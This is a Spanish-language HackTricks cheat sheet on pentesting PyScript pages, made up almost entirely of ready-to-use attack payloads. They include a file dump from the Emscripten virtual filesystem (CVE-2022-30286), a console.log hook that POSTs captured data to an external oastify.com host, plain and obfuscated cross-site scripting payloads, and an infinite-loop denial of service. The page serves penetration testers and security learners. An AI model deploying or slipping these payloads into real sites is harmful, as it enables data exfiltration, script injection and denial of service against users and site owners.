hacktricks/src/generic-methodologies-and-resources/python/pyscript.md

# Pyscript

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## Guía de Pentesting de PyScript

PyScript es un nuevo marco desarrollado para integrar Python en HTML, por lo que se puede usar junto con HTML. En esta hoja de trucos, encontrarás cómo usar PyScript para tus propósitos de pruebas de penetración.

### Volcando / Recuperando archivos del sistema de archivos de memoria virtual de Emscripten:

`CVE ID: CVE-2022-30286`\
\
Código:
```html
<py-script>
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
= fin.read() print(out)
</py-script>
```
![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png)

### [Exfiltración de datos OOB del sistema de archivos de memoria virtual Emscripten (monitoreo de consola)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)

`CVE ID: CVE-2022-30286`\
\
Código:
```html
<py-script>
x = "CyberGuy" if x == "CyberGuy": with
open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read()
print(contents) print('
<script>
console.pylog = console.log
console.logs = []
console.log = function () {
console.logs.push(Array.from(arguments))
console.pylog.apply(console, arguments)
fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {
method: "POST",
headers: { "Content-Type": "text/plain;charset=utf-8" },
body: JSON.stringify({ content: btoa(console.logs) }),
})
}
</script>
')
</py-script>
```
![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png)

### Cross Site Scripting (Ordinario)

Código:
```python
<py-script>
print("<img src=x onerror='alert(document.domain)'>")
</py-script>
```
![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png)

### Cross Site Scripting (Python Ofuscado)

Código:
```python
<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"

print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>
```
![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png)

### Cross Site Scripting (Ofuscación de JavaScript)

Código:
```html
<py-script>
prinht("
<script>
var _0x3675bf = _0x5cf5
function _0x5cf5(_0xced4e9, _0x1ae724) {
var _0x599cad = _0x599c()
return (
(_0x5cf5 = function (_0x5cf5d2, _0x6f919d) {
_0x5cf5d2 = _0x5cf5d2 - 0x94
var _0x14caa7 = _0x599cad[_0x5cf5d2]
return _0x14caa7
}),
_0x5cf5(_0xced4e9, _0x1ae724)
)
}
;(function (_0x5ad362, _0x98a567) {
var _0x459bc5 = _0x5cf5,
_0x454121 = _0x5ad362()
while (!![]) {
try {
var _0x168170 =
(-parseInt(_0x459bc5(0x9e)) / 0x1) *
(parseInt(_0x459bc5(0x95)) / 0x2) +
(parseInt(_0x459bc5(0x97)) / 0x3) *
(-parseInt(_0x459bc5(0x9c)) / 0x4) +
-parseInt(_0x459bc5(0x99)) / 0x5 +
(-parseInt(_0x459bc5(0x9f)) / 0x6) *
(parseInt(_0x459bc5(0x9d)) / 0x7) +
(-parseInt(_0x459bc5(0x9b)) / 0x8) *
(-parseInt(_0x459bc5(0x9a)) / 0x9) +
-parseInt(_0x459bc5(0x94)) / 0xa +
(parseInt(_0x459bc5(0x98)) / 0xb) *
(parseInt(_0x459bc5(0x96)) / 0xc)
if (_0x168170 === _0x98a567) break
else _0x454121["push"](_0x454121["shift"]())
} catch (_0x5baa73) {
_0x454121["push"](_0x454121["shift"]())
}
}
})(_0x599c, 0x28895),
prompt(document[_0x3675bf(0xa0)])
function _0x599c() {
var _0x34a15f = [
"15170376Sgmhnu",
"589203pPKatg",
"11BaafMZ",
"445905MAsUXq",
"432bhVZQo",
"14792bfmdlY",
"4FKyEje",
"92890jvCozd",
"36031bizdfX",
"114QrRNWp",
"domain",
"3249220MUVofX",
"18cpppdr",
]
_0x599c = function () {
return _0x34a15f
}
return _0x599c()
}
</script>
")
</py-script>
```
![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png)

### Ataque DoS (Bucle infinito)

Código:
```html
<py-script>
while True:
print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;")
</py-script>
```
![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)

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